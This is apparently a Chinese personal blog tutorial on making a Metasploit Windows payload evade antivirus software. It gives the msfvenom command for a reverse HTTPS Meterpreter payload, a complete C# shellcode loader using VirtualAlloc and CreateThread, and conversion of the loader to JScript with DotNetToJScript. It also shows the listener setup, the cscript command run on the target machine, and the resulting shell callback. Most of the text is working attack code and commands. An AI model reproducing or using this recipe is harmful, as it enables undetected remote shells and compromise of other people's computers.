免杀 MSF Windows Payload 的方法与实践(小白视角)

MSF 是当下最流行的渗透测试平台,在进行后渗透阶段往往需要我们绕过杀软等隐蔽操作,在看完余弦猥琐流打发之后,自个手动实践,然后写一个详细的演练操作,做笔记存档。

0x00 制作payload

使用 kali 里的 msfvenom 生成一个x86的 Meterpreter Payload 命令如下:

1
root@kali:~# msfvenom  -p windows/meterpreter/reverse_https -a x86 -f csharp --platform windows -o https.csharp -b "\x00\xff" LHOST=192.168.1.99 LPORT=443 PrependMigrate=true PrependMigrateProc=svchost.exe

大部分参数都不用过多解释了,常用 MSF 的人都知道。需要说明的是,我们要借助于 C# 来执行生成的 Payload,所以格式要选择为 csharp,而最后两个参数(PrependMigrate 和 PrependMigrateProc)是指明 Payload 执行后要将自己注入到一个新创建的宿主 svchost.exe 进程中去。

生成结果 cat https.csharp 如图所示,

payload

0x01 创建 c# 项目

我们需要创建一个 C# 项目,我使用的是 Visual Studio 2017。新建一个空白的 C# 的控制台应用(.NET Framework)工程,.Net Framework 版本选择 2.0(保证兼容性)。

将下列代码粘贴覆盖到 Program.cs 中:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
using System;
using System.Threading;
using System.Runtime.InteropServices;
namespace MSFWrapper
{
public class Program
{
public Program()
{
RunMSF();
}
public static void RunMSF()
{
byte[] MsfPayload = {
//Paste your Payload here
};
IntPtr returnAddr = VirtualAlloc((IntPtr)0, (uint)Math.Max(MsfPayload.Length, 0x1000), 0x3000, 0x40);
Marshal.Copy(MsfPayload, 0, returnAddr, MsfPayload.Length);
CreateThread((IntPtr)0, 0, returnAddr, (IntPtr)0, 0, (IntPtr)0);
Thread.Sleep(2000);
}
public static void Main()
{
}
[DllImport("kernel32.dll")]
public static extern IntPtr VirtualAlloc(IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);
[DllImport("kernel32.dll")]
public static extern IntPtr CreateThread(IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId);
}
}

然后将在 kali 生成的 payload 中的十六进制数数组粘贴到代码中注释为“//Paste your Payload here”的下面。

保存代码后,修改该工程的属性,将输出类型改为“Windows 应用程序”,启动对象改为“MSFWrapper.Program”并保存,如图:

vs2017

增加 Release 版的 x86 编译对象,如图:

release

然后生成出 MSFWrapper.exe :

生成exe

0x02 将生成的 exe 文件转换成 js 文件

DotNetToJScript源码下载

开源工具DotNetToJScript详细编译教程

转换命令:

F:\WEB渗透工具>DotNetToJScript.exe -l=JScript -o=MSFWrapper.js -c=MSFWrapper.Program MSFWrapper.exe

0x03 通过命令执行 js 文件使其弹回 Meterpreter shell

在 kali 里执行命令进行监听:

1
2
3
4
5
6
root@kali:~# msfconsole 
msf > use exploit/multi/handler
msf exploit(multi/handler) > set payload windows/meterpreter/reverse_https
msf exploit(multi/handler) > set lhost 192.168.1.99
msf exploit(multi/handler) > set lport 443
msf exploit(multi/handler) > run

在目标机器执行如下命令:

C:\windows\SysWOW64\cscript.exe /e:JScript MSFWrapper.js

kali 反弹回 meterpreter :

1
2
[*] Started HTTPS reverse handler on https://192.168.1.99:443
[*] https://192.168.1.99:443 handling request from 192.168.1.84; (UUID: flnzcixx) Staging x86 payload (180825 bytes) ...

这里一定要注意,因为我们生成的 Payload 跟 exe 都是 32 位的,所以这里也要用 32 的 cscript.exe 去执行。切记!

0x04 END

未完待续 ing……

士不可以不弘毅,任重而道远。仁以为己任,不亦重乎?死而后已,不亦远乎?

本文标题:免杀 MSF Windows Payload 的方法与实践(小白视角)

文章作者:yaron

发布时间:2017年12月22日 - 00:01:30

最后更新:2018年08月23日 - 01:19:03

原文链接:https://yaalonsong.github.io/2017/12/22/免杀 MSF Windows Payload 的方法与实践.html

许可协议: 署名-非商业性使用-禁止演绎 4.0 国际 转载请保留原文链接及作者。